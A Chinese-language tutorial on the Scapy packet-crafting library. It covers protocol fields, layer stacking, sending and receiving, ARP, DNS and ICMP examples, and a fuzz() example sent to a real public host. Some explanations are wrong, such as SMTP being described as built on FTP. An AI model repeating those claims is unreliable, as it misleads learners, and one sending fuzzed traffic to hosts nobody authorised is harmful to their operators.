Scapy

简介

scapy是python用来构建数据包的一个模块,可以根据协议构件各种数据包。

依赖库

scapy依赖scapy库需要安装

1
pip install scapy

使用方法

使用文本编写需要导入模块from scapy.all import *,其他操作类似交互模式

scapy可以直接使用交互模式,再终端里直接输入scapy就进入了交互模式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\Users\Administrator>scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No libpcap provider available ! pcap won't be used
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.
WARNING: On Windows, colors are also disabled
f:\python-3.7.0\lib\site-packages\pyreadline\py3k_compat.py:8: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
return isinstance(x, collections.Callable)

aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.3
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | Wanna support scapy? Rate it on
scccccp///pSP///p p//Y | sectools!
sY/////////y caa S//P | http://sectools.org/tool/scapy/
cayCyayP//Ya pY/Ya | -- Satoshi Nakamoto
sY/PsY////YCc aC//Yp |
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs

>>>

上面是进入信息,里面有警告信息,这些没有什么影响。

lsc()获取帮助信息

更改配置信息

交互模式下有原色设置,conf.color_theme = BrightTheme()还有几种模式设置,DefaultTheme, BrightTheme, RastaTheme, ColorOnBlackTheme, BlackAndWhite, HTMLTheme, LatexTheme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> conf.color_theme = BrightTheme() #设置颜色模式
>>> IP().show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 192.168.31.204
dst= 127.0.0.1
\options\

conf有很多配置直接输入conf可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
>>> conf
INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True)
INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True)
ASN1_default_codec = <ASN1Codec BER[1]>
AS_resolver = <scapy.as_resolvers.AS_resolver_multi object at 0x0000012F09D4...
BTsocket = <BluetoothRFCommSocket: read/write packets on a connected L2CAP...
L2listen = <_NotAvailableSocket: wpcap.dll missing>
L2socket = <_NotAvailableSocket: wpcap.dll missing>
L3socket = <L3WinSocket: a native Layer 3 (IPv4) raw socket under Windows>
L3socket6 = <L3WinSocket6: a native Layer 3 (IPv6) raw socket under Windows>
USBsocket = None
auto_crop_tables = True
auto_fragment = True
bufsize = 65536
cache_iflist = {}
checkIPID = False
checkIPaddr = True
checkIPinIP = True
checkIPsrc = True
check_TCPerror_seqack = False
color_theme = <BrightTheme>
commands = IPID_count : Identify IP id values classes in a list of packets...
contribs = {}
crypto_valid = False
crypto_valid_advanced = False
crypto_valid_recent = False
debug_dissector = False
debug_match = False
debug_tls = False
default_l2 = <class 'scapy.packet.Raw'>
dot15d4_protocol = None
emph = <Emphasize []>
except_filter = ''
extensions_paths = '.'
fancy_prompt = True
geoip_city = None
histfile = 'C:\\Users\\Administrator\\.scapy_history'
iface = <NetworkInterface [Realtek RTL8822BE 802.11ac PCIe Adapter] {B3...
iface6 = <NetworkInterface [Teredo Tunneling Pseudo-Interface] {A0E32CDD...
interactive = True
interactive_shell = ''
ipv6_enabled = True
l2types = 0x0 -> Loopback (Loopback) 0x1 <- Dot3 (802.3) 0x1 <-> Ether (E...
l3types = 0x3 -> IP (IP) 0x800 <-> IP (IP) 0x806 <-> ARP (ARP) 0x86dd <->...
layers = Packet : <member 'name' of 'Packet' objects> NoPayload : <membe...
load_layers = ['bluetooth', 'bluetooth4LE', 'dhcp', 'dhcp6', 'dns', 'dot11',...
logLevel = 20
mib = <MIB - 343 elements>
min_pkt_size = 60
neighbor = Ether -> LLC Dot3 -> LLC Dot3 -> SNAP Ether -> Dot1Q Ether -> A...
netcache = arp_cache: 0 valid items. Timeout=120s in6_neighbor: 0 valid it...
noenum = <Resolve []>
padding = 1
padding_layer = <class 'scapy.packet.Padding'>
prog = cmd = 'C:\\Windows\\system32\\cmd.exe' cscript = 'C:\\Windows\\...
promisc = True
prompt = '>>> '
raw_layer = <class 'scapy.packet.Raw'>
raw_summary = False
recv_poll_rate = 0.05
resolve = <Resolve []>
route = Network Netmask Gateway Iface Output IP Metric 0.0.0.0 0.0.0.0 ...
route6 = Destination Next Hop Iface Src candidates Metric ::/0 :: Teredo...
session = ''
sniff_promisc = 1
stats_classic_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.la...
stats_dot11_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.laye...
stealth = 'not implemented'
temp_files = []
teredoPrefix = '2001::'
teredoServerPort = 3544
use_bpf = False
use_dnet = False
use_npcap = False
use_pcap = False
use_pypy = False
verb = 2
version = '2.4.3'
warning_threshold = 5
wepkey = ''

这些一般都不用设置

输入explore()可以设置一些信息

通用操作

用ip数据包来举例

一般方法

ls()

查看详细的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> ls(IP())
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 0 (0)
chksum : XShortField = None (None)
src : SourceIPField = '192.168.31.204' (None)
dst : DestIPField = '127.0.0.1' (None)
options : PacketListField = [] ([])

建立数据包使用普通的赋值方式

1
>>> ip=IP()

直接输入ip查看已经设置的参数,IP()也可以但是他们不是一个数据包

1
2
>>> ip
<IP |>
.show()

上面的数据包没有设置任何参数,使用.show()查看所有的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> IP().show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 192.168.31.204
dst= 127.0.0.1
\options\
.command()

生成数据包的命令,a是之前已经设置好的数据包

1
2
3
4
>>> a.command()
'IP()/TCP()/UDP()'
>>> IP()/TCP()/UDP()
<IP frag=0 proto=tcp |<TCP |<UDP |>>>
.summary()

显示数据包摘要,谁对谁发数据

1
2
>>> a.summary()
"192.168.31.204 > Net('www.baidu.com/30') ip"

设置参数

构建包时赋值

1
2
3
4
5
6
7
>>> ip_1=IP(ttl=128)
>>> ip_1
<IP ttl=128 |>
#或者
>>> ip_2=IP(id=2,version=6,ttl=128)
>>> ip_2
<IP version=6 id=2 ttl=128 |>

构建包后赋值

1
2
3
>>> ip_1.version=6
>>> ip_1
<IP version=6 ttl=128 |>

如果数据包里有同样的参数使用下面方法

IP和TCP都有flags参数,取出单个再赋值

1
2
3
4
5
>>>tcp = IP()/TCP()
>>>tcp
<IP frag=0 proto=tcp dst=Net('www.baidu.com') |<TCP flags=SA |>>
>>> tcp[1]
<TCP flags=SA |>

tcp[1]仅代表TCP,对他进行赋值,就算IP有相同的参数也不会搞混

1
2
3
>>> tcp[1].flags=2
>>> tcp[1].flags
<Flag 2 (S)>

查看特定参数

1
2
3
4
>>> ip_1.src
'192.168.31.204'
>>> ip_1.version
6

删除指定参数

1
2
3
>>> del(ip_1.version)
>>> ip_1.version
4

可以看到删除后就恢复了默认值

数据包堆叠

网络数据包都是一层一层的堆叠起来的,使用scapy也能构建堆叠数据包

1
2
>>> pakage
<IP frag=0 proto=tcp |<TCP |>>

proto=tcp这个已经和之前只有IP的数据包不一样了。而且各种种类的数据包随意堆叠,从简单变复杂。

查看数据包

有很多中查看数据包的方式,除了前面提到的查看简洁的方式还有更复杂的方式,下面从简单到复杂介绍查看方式

  • 直接使用变量名

  • 使用show()

  • raw()

    1
    2
    >>> raw(a)
    b'E\x00\x00\x14\x00\x01\x00\x00@\x00\x1bt\xc0\xa8\x1f\xcc\x7f\x00\x00\x01'

    查看原始数据,列出16进制格式的2进制信息。

  • str()

    1
    2
    3
    >>> str(IP())
    WARNING: Calling str(pkt) on Python 3 makes no sense!
    "b'E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00\\x1bt\\xc0\\xa8\\x1f\\xcc\\x7f\\x00\\x00\\x01'"

    列出16进制格式的2进制信息。

  • hexdump

    1
    2
    3
    >>> hexdump(IP())
    0000 45 00 00 14 00 01 00 00 40 00 1B 74 C0 A8 1F CC E.......@..t....
    0010 7F 00 00 01

    十六进制信息和对应的字符串

隐藏默认字段

设置数据包有很多默认的字段,如果不需要可以直接删除。

1
2
3
>>> a=IP(_)
>>> a
<IP version=4 ihl=5 tos=0x0 len=20 id=1 flags= frag=0 ttl=64 proto=ip chksum=0x1b74 src=192.168.31.204 dst=127.0.0.1 |>

a是一个默认的IP数据包,有12个参数,其实有很多都没有用

1
2
3
>>> a.hide_defaults()
>>> a
<IP ihl=5 len=20 chksum=0x1b74 src=192.168.31.204 dst=127.0.0.1 |>

隐藏了很多参数。

协议类型

二层协议

Ether

以太网协议,最广泛的局域网技术,实现链路层的数据传输和地址封装

与电话铜缆上的VDSL相结合,形成EoVDSL技术;与无源光网络相结合,产生EPON技术;在无线环境中,发展为WLAN技术。

1
2
3
4
5
>>> Ether().show()
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff #目标的MAC地址
src= 00:00:00:00:00:00 #本地的MAC地址
type= 0x9000 #类型值,用来标志上层协议

type

0x0000 - 0x05DC IEEE 802.3 长度
0x0800 网际协议(IP)
0x0806 地址解析协议(ARP)
0x0808 帧中继 ARP
0x86DD 网际协议v6 (IPv6)
0x880B 点对点协议(PPP)
0x8863 以太网上的 PPP(发现阶段)
0x8864 以太网上的 PPP(PPP 会话阶段)
0x9000 配置测试协议(Loopback)
0x9200&0x9100 VLAN 标签协议标识符(VLAN Tag Protocol Identifier)
0xFFFF 保留

ARP

Address Resolution Protocol,地址解析协议。主要作用是实现通过IP地址获得对应主机的MAC地址.

1
2
3
4
5
6
7
8
9
10
11
>>> ARP().show()
###[ ARP ]###
hwtype= 0x1 #16位字段硬件类型
ptype= IPv4 #16位字段协议类型
hwlen= None #8位字段硬件长度
plen= None #8位字段协议长度
op= who-has #16位字段操作码
hwsrc= aa:6b:ad:83:23:37 #源MAC地址
psrc= 192.168.31.204 #源IP地址
hwdst= 00:00:00:00:00:00 #目标MAC地址
pdst= 0.0.0.0 #目标IP地址

DHCP

动态主机配置协议,由服务器控制一段IP地址范围,客户端自动获得服务器分配的IP地址和子网掩码。

1
2
3
>>> DHCP().show()
###[ DHCP options ]###
options= [] #选项

使用拓展性小。

三层协议

IP

三层协议数据包都需要用到IP协议,用来指定目标地址和源地址

查看IP的所有参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> IP().show()
###[ IP ]###
version= 4 #4位版本,version表示采用的版本,4代表ipv4,6代表ipv6
ihl= None #4位首部长度,一个代表4个字节一共有15个所以IP头部最长60字节
tos= 0x0 #8位服务类型,IP优先级
len= None #16位总长度,数据包长度,一个代表1字节,一共可以是65535字节
id= 1 #16位标识,通常每发送一个就会增加1
flags= #3位标志
frag= 0 #13位片偏移
ttl= 64 #8位生存时间
proto= ip # 8位协议
chksum= None #16位首部校验和
src= 192.168.31.204 #32位源IP地址
dst= 127.0.0.1 #32位目的IP地址
\options\ #选项(可无)如果有只能是40字节

IHL:(Internet Header Length 报头长度)是计算机名词,位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。

**tos:**1000 – minimize delay #最小延迟
0100 – maximize throughput #最大吞吐量
0010 – maximize reliability #最高可靠性
0001 – minimize monetary cost #最小费用
0000 – normal service #一般服务

ICMP

ICMP协议通常是IP协议的一个组成部分,主要传递差错校验和其他需要主要的信息,ping就是使用了这个协议。

1
2
3
4
5
6
7
>>> ICMP().show()
###[ ICMP ]###
type= echo-request #八位类型,类型0为回应应答报文,8为回应请求报文。
code= 0 #八位代码
chksum= None #16位校验和
id= 0x0 #16位标识
seq= 0x0 #16位序号

TCP

查看TCP的全部参数,有三次握手和四次挥手的流程,网络可靠。

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> TCP().show()
###[ TCP ]###
sport= ftp_data #源始端口16位
dport= http #目的端口16位
seq= 0 #数据序号32位
ack= 0 #确认序号32位
dataofs= None #偏移4位
reserved= 0 #保留6位
flags= S #标志6位
window= 8192 #窗口字段16位
chksum= None #包校验和16位
urgptr= 0 #紧急指针16位
options= [] #可选选项24位

**flags:**有UAPRSF六种标志,分别对应

  • URG 紧急指针,告诉接收TCP模块紧要指针域指着紧要数据。
  • ACK 置1时表示确认号。
  • PSH 置1时请求的数据段在接收方得到后就可直接送到应用程序,而不必等到缓冲区满时才传送。
  • RST 置1时重建连接。
  • SYN 置1时用来发起一个连接。
  • FIN 置1时表示发端完成发送任务。

scapy中的组合

  • S=2
  • A=16
  • SA=18

UDP

对目标进行发包,不做可靠验证。

1
2
3
4
5
6
>>> UDP().show()
###[ UDP ]###
sport= domain #源始端口16位 #目的端口16位
dport= domain #目的端口16位
len= None #长度
chksum= None #校验和

DNS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>>> DNS().show()
###[ DNS ]###
id= 0 #16位DNS报文的ID标识
qr= 0 #1位查询/响应标志,0为查询,1为响应
opcode= QUERY #4位0表示标准查询,1表示反向查询,2表示服务器状态请求
aa= 0 #1位表示授权回答
tc= 0 #1位表示可截断的
rd= 1 #1位表示需要递归
ra= 0 #1位表示可用递归
z= 0 #1位保留字段
ad= 0 #1位
cd= 0 #1位
rcode= ok #4位表示返回码,0表示没有差错,3表示名字差错,2表示服务器错误
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None

qd:

DNSQR
1
2
3
4
5
>>> DNSQR().show()
###[ DNS Question Record ]###
qname= 'www.example.com'
qtype= A
qclass= IN
DNSRR
1
2
3
4
5
6
7
8
>>> DNSRR().show()
###[ DNS Resource Record ]###
rrname= '.'
type= A
rclass= IN
ttl= 0
rdlen= None
rdata= 0.0.0.0

TFTP

Trivial File Transfer Protocol,简单文件传输协议基于 UDP

1
2
###[ TFTP opcode ]###
op= RRQ #类型

op

RRQ 读请求
WRQ 写请求
DATA 数据
ACK

查看minimumTFTP模块

FTP

SNMP

简单网络管理协议,监视并控制被管理的设备

1
2
3
4
5
6
7
8
9
10
>>> SNMP().show()
###[ SNMP ]###
version= 'v2c' 0x1 <ASN1_INTEGER[1]> #版本
community= <ASN1_STRING['public']> #共同体管理进程和代理进程之间的明文口令
\PDU\ #PDU类型
|###[ SNMPget ]###
| id= 0x0 <ASN1_INTEGER[0]> #标识
| error= 'no_error' 0x0 <ASN1_INTEGER[0]> #差错状态
| error_index= 0x0 <ASN1_INTEGER[0]> #差错索引
| \varbindlist\ #变量绑定

PDU:

SNMPget

获取参数

1
2
3
4
5
6
7
8
9
###[ SNMP ]###
version= 'v2c' 0x1 <ASN1_INTEGER[1]>
community= 'shit'
\PDU\
|###[ SNMPget ]###
| id= 0x0 <ASN1_INTEGER[0]>
| error= 'no_error' 0x0 <ASN1_INTEGER[0]>
| error_index= 0x0 <ASN1_INTEGER[0]>
| \varbindlist\
SNMPset

设置参数

1
2
3
4
5
6
7
8
9
###[ SNMP ]###
version= 'v2c' 0x1 <ASN1_INTEGER[1]>
community= 'shit'
\PDU\
|###[ SNMPset ]###
| id= 0x0 <ASN1_INTEGER[0]>
| error= 'no_error' 0x0 <ASN1_INTEGER[0]>
| error_index= 0x0 <ASN1_INTEGER[0]>
| \varbindlist\
变量绑定

这是一个树状的查询列表。绑定对应的值查询对应的结果

1
2
3
4
>>>s=SNMP()
>>>s.varbindlist="1.3.6.1.1.5.6.1.3"
>>> s.varbindlist
'1.3.6.1.1.5.6.1.3'

查看PySNMP模块

NTP

Network Time Protocol,网络时间协议,它可以使计算机对其服务器时钟源(如石英钟,GPS等等)做同步化可介由加密确认的方式来防止恶毒的协议攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> NTP().show()
###[ NTPHeader ]###
leap= no warning #2位闰秒识别器
version= 4 #3位版本号
mode= client #3位模式
stratum= 2 #8位
poll= 10 #8位测试间隔
precision= 0 #8位本地时钟精度
delay= 0.0 #8位根时延,在主参考源之间往返的总共时延
dispersion= 0.0 #8位根离散,表示在主参考源有关的名义错误
id= 127.0.0.1 #8位标识
ref= 0.0 #64位参考时间戳,本地时钟被修改的最新时间
orig= -- #64位原始时间戳,客户端发送的时间
recv= 0.0 #64位接受时间戳,服务端接受到的时间
sent= -- #64位传送时间戳,服务端送出应答的时间

参考NTPlib模块

Syslog

系统日志,syslog通常被用于信息系统管理及信息安全审核。虽然它有不少缺陷

参照logging,不列于网络通讯范畴

SSH

参照paramiko

Telent

Pop3

HTTP

简单的请求-响应协议基于TCP,HTTP是万维网(WWW)的支撑协议

请求头

1
2
3
Referer: #来源url,从这个url连接来的
User-Agent: #浏览器标识
cookie: #cookie信息

响应头

1
2
date:  #日期
status: #状态码
get

客户端传递的参数在url中,例如?name=Blosslom&age=20

post

客户端传递参数在请求数据中

1
2
username: 
password:

参照http模块

SMTP

电子邮件传输的协议,建立在FTP文件传输服务上

发送数据包

send()

发送三层数据包

一个点代表发送一次,使用ctrl+C停止

1
2
3
>>> send(a)
....................
Sent 20 packets.

发送了上面生产的20个数据包send(a)和send(b)一样,因为b是a生成的

loop=1循环发送

1
2
>>> send(a,loop=1)
...............................^C

一个点代表发送一次,使用ctrl+C停止

sendp()

发送两层的数据包,两层数据包都需要会用Ether协议

下列的参数都是通用的

  • iface=“网卡”
  • loop=“1” 循环
  • inter=0.2 指定两个数据包之间的等待时间间隔
  • timeout=1 超时时间设置
  • retry=3 重试次数,使用未 应答列表或指定重试参数来重新发送所有未应答数据包
  • verbos=True 显示发包信息

sr1()

仅发送接收一个三层数据包

srp1()

仅发送接收一个二层数据包

sr()

发送接收多个三层数据包

用于发送三层数据包和接收回复

1
2
3
4
5
6
7
>>> a=IP(dst="www.baidu.com")/ICMP()/"you are just a pice"
>>> sr1(a)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x4 len=47 id=1 flags= frag=0 ttl=54 proto=icmp chksum=0x4be src=183.232.231.174 dst=192.168.31.204 |<ICMP type=echo-reply code=0 chksum=0x5dbe id=0x0 seq=0x0 |<Raw load='you are just a pice' |>>>

Received 1 packets, got 1 answers, remaining 0 packets表示发送一个包接收一个包,剩余没收到的零个包

对比两组数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
>>> a.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 192.168.31.204
dst= Net('www.baidu.com')
\options\
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'you are just a pice'
>>> b.show()
###[ IP ]###
version= 4
ihl= 5
tos= 0x4
len= 47
id= 1
flags=
frag= 0
ttl= 54
proto= icmp
chksum= 0x4be
src= 183.232.231.174
dst= 192.168.31.204
\options\
###[ ICMP ]###
type= echo-reply
code= 0
chksum= 0x5dbe
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'you are just a pice'

发现src和dst位置是调换的

srp()

发送接收多个两层数据包

fuzz()

构建模糊模板,随机设置指定协议数据包

1
2
3
4
5
6
>>> a=IP(dst="www.baidu.com")/fuzz(TCP())
>>> a
<IP frag=0 proto=tcp dst=Net('www.baidu.com') |<TCP |>>
>>> send(a)
.
Sent 1 packets.

详细的参数设置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>>> a.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.31.204
dst= Net('www.baidu.com')
\options\
###[ TCP ]###
sport= <RandShort>
dport= <RandShort>
seq= <RandInt>
ack= <RandInt>
dataofs= None
reserved= <RandNum>
flags= FRPAE
window= <RandShort>
chksum= None
urgptr= <RandShort>
options= <RandTCPOptions>

很多参数使用了rand随机

构建数据包

准备工作

在windows下要想达到完整的收发数据包必须要安装winpcap或者Npcap,推荐使用Npcap

使用python编写程序的时候如果报错,则可能需要修改源文件。直接将错误部分注释。

数据包集合

1
2
3
4
5
6
7
8
>>> a=IP()
>>> a.dst="www.baidu.com/30"
>>> b=[i for i in a]
>>> b
[<IP dst=183.232.231.172 |>,
<IP dst=183.232.231.173 |>,
<IP dst=183.232.231.174 |>,
<IP dst=183.232.231.175 |>]

对a的dst参数设置一个域名,域名后面有个/30表示后缀指定生成的范围,使用生成列表生成赋值给b

**后缀解释:**后缀最大值是从32开始的,表示生成一个关联的地址,如果超过32则还是按照32的生成

1
2
3
4
>>> a.dst="www.baidu.com/32"
>>> b=[i for i in a]
>>> b
[<IP dst=183.232.231.172 |>]

如果换成31则在32数量基础上进行乘2

1
2
3
4
5
>>> a.dst="www.baidu.com/31"
>>> b=[i for i in a]
>>> b
[<IP dst=183.232.231.174 |>,
<IP dst=183.232.231.175 |>]

30则在31数量基础上进行乘2

以此类推所以一共可以生产的相关IP有2的32次方4294967296个IP接近256的4次方这和IP规范有关。这样可以生产全球所有的IP地址。

多参数生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> a.ttl=[2,3,(3,5)]
>>> a
<IP ttl=[2, 3, (3, 5)] dst=Net('www.baidu.com/30') |>
>>> b=[i for i in a]
>>> b
[<IP ttl=2 dst=183.232.231.172 |>,
<IP ttl=2 dst=183.232.231.173 |>,
<IP ttl=2 dst=183.232.231.174 |>,
<IP ttl=2 dst=183.232.231.175 |>,
<IP ttl=3 dst=183.232.231.172 |>,
<IP ttl=3 dst=183.232.231.173 |>,
<IP ttl=3 dst=183.232.231.174 |>,
<IP ttl=3 dst=183.232.231.175 |>,
<IP ttl=3 dst=183.232.231.172 |>,
<IP ttl=3 dst=183.232.231.173 |>,
<IP ttl=3 dst=183.232.231.174 |>,
<IP ttl=3 dst=183.232.231.175 |>,
<IP ttl=4 dst=183.232.231.172 |>,
<IP ttl=4 dst=183.232.231.173 |>,
<IP ttl=4 dst=183.232.231.174 |>,
<IP ttl=4 dst=183.232.231.175 |>,
<IP ttl=5 dst=183.232.231.172 |>,
<IP ttl=5 dst=183.232.231.173 |>,
<IP ttl=5 dst=183.232.231.174 |>,
<IP ttl=5 dst=183.232.231.175 |>]

ttl=[2, 3, (3, 5)]的意思是将ttl值设置成2和3,(3,5)是3到5的意思

其他参数都是如此,会自动进行组合,生产全部情况数据包

ipaddress

这是一个模块产生IP列表,原理和上面的一样。

1
2
3
4
import ipaddress
ip = ipaddress.ip_network('192.168.0.0/24')
for i in ip:
print(i)

产生256个ip地址

随机

随机IP

RandIP()

随机端口

RandShort()

二层数据包

注意二层数据包只能使用srp(),srp1(),sendp()发送方法

Ether()/ARP()

arp包,可以构件arp广播包等其他类型的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pkt=Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(op=1,hwdst="00:00:00:00:00:00",pdst="192.168.8.1")
>>> pkt.show()
###[ Ethernet ]###
dst= FF:FF:FF:FF:FF:FF
src= a8:6b:ad:83:23:37
type= ARP
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwsrc= a8:6b:ad:83:23:37
psrc= 192.168.8.192
hwdst= 00:00:00:00:00:00
pdst= 192.168.8.1

**Ethernet:**将目标MAC地址设置成广播地址,源地址默认是本地地址。

**ARP:**op=1表示who-has。hwdst对应目标MAC不知道设置成00:00… ,pdst对应IP

1
2
3
>>> srp(pkt,verbose=0)
(<Results: TCP:0 UDP:0 ICMP:0 Other:1>,
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

发送数据包,verbose=0表示不显示正在发送的信息。可以看到返回的式两个对象,第一个对象是返回的结果,第二个是未响应的数据。使用字典接收看看对象的类型

1
2
3
>>> r = srp(pkt,verbose=0)
>>> print(type(r))
<class 'scapy.plist.SndRcvList'>

一个scapy的对象,有对象就应该有对应的方法

res方法

如果直接使用r.show()会报错,使用r[0].show()返回的信息是summary()方法的摘要信息。

1
2
3
>>> r[0].res
[(<Ether dst=FF:FF:FF:FF:FF:FF type=ARP |<ARP op=who-has hwdst=00:00:00:00:00:00 pdst=192.168.8.1 |>>,
<Ether dst=a8:6b:ad:83:23:37 src=78:a3:51:a1:fd:00 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=78:a3:51:a1:fd:00 psrc=192.168.8.1 hwdst=a8:6b:ad:83:23:37 pdst=192.168.8.192 |>>)]

取出了两个详细的信息,是一个列表,去掉列表需要r[0].res[0],使用r[0][0]也是同样的效果,这样就只返回 了一个元组,第一个对象是我们发出去的包,第二个是返回的数据包。

获得ARP数据层的内容

1
2
>>> r[0].res[0][1].getlayer(ARP)
<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=78:a3:51:a1:fd:00 psrc=192.168.8.1 hwdst=a8:6b:ad:83:23:37 pdst=192.168.8.192 |>

返回信息已经过滤了Ether,如果要取出一个值就需要把他转化为列表,然后使用列表key取出

getlayer()
1
2
3
4
5
6
7
8
9
10
11
12
>>> r[0].res[0][1].getlayer(ARP).fields
{'hwtype': 1,
'ptype': 2048,
'hwlen': 6,
'plen': 4,
'op': 2,
'hwsrc': '78:a3:51:a1:fd:00',
'psrc': '192.168.8.1',
'hwdst': 'a8:6b:ad:83:23:37',
'pdst': '192.168.8.192'}
>>> r[0].res[0][1].getlayer(ARP).fields["hwsrc"]
'78:a3:51:a1:fd:00'

这个包里hwsrc就变成对方的MAC了,其他参数也是同理。

haslayer()

同getlayer一样,不过他是判断是否有某种数据包

三层数据包

IP/ICMP数据包

通常ping就是使用这种数据包

1
2
3
4
5
6
>>> ping = IP()/ICMP()/b"are you baidu"
>>> ping.dst="www.baidu.com"
>>> response = sr1(ping)
Begin emission:
Finished sending 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets

发送了5个包,收到了一个包

1
2
>>> response
<IP version=4 ihl=5 tos=0x4 len=41 id=1 flags= frag=0 ttl=54 proto=icmp chksum=0x4c6 src=183.232.231.172 dst=192.168.31.204 |<ICMP type=echo-reply code=0 chksum=0xa17 id=0x0 seq=0x0 |<Raw load='are you baidu' |>>>

返回的信息也是传递的字符串。不过IP源地址是百度的。

1
2
>>> response.getlayer(ICMP)
<ICMP type=echo-reply code=0 chksum=0xa17 id=0x0 seq=0x0 |<Raw load='are you baidu' |>>

提取ICMP包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> response.getlayer(ICMP).fields
{'type': 0,
'code': 0,
'chksum': 2583,
'id': 0,
'seq': 0,
'ts_ori': None,
'ts_rx': None,
'ts_tx': None,
'gw': None,
'ptr': None,
'reserved': None,
'length': None,
'addr_mask': None,
'nexthopmtu': None,
'unused': None}

转化为字典

DNS数据包

因为DNS查询时UDP连接方式,使用TCP则无法查询

IP/UDP/DNS类型数据包

构造数据包

1
>>> dns=IP()/UDP()/DNS()

设置目标地址

1
>>> dns.dst="8.8.8.8"

设置需要查询的目标

1
2
3
>>> dns.qd=DNSQR(qname="qq.com")
>>> dns
<IP frag=0 proto=udp dst=8.8.8.8 |<UDP sport=domain |<DNS qd=<DNSQR qname='qq.com' |> |>>>

发送数据包

1
2
3
4
5
6
sr1(dns)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x4 len=100 id=1 flags= frag=0 ttl=52 proto=udp chksum=0xad0c src=8.8.8.8 dst=192.168.8.192 |<UDP sport=domain dport=domain len=80 chksum=0x92f3 |<DNS id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=3 nscount=0 arcount=0 qd=<DNSQR qname='qq.com.' qtype=A qclass=IN |> an=<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=125.39.52.26 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=58.250.137.36 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=58.247.214.47 |>>> ns=None ar=None |>>>

查询到的结果显示了出来

IP/TCP数据包

构造数据包的同时进行赋值

1
pkt=IP(dst="www.baidu.com",src="192.168.248.144")/TCP()

发包

1
2
3
4
5
r=sr1(pkt)                                                                                
Begin emission:
Finished sending 1 packets.
....................................................................*
Received 69 packets, got 1 answers, remaining 0 packets

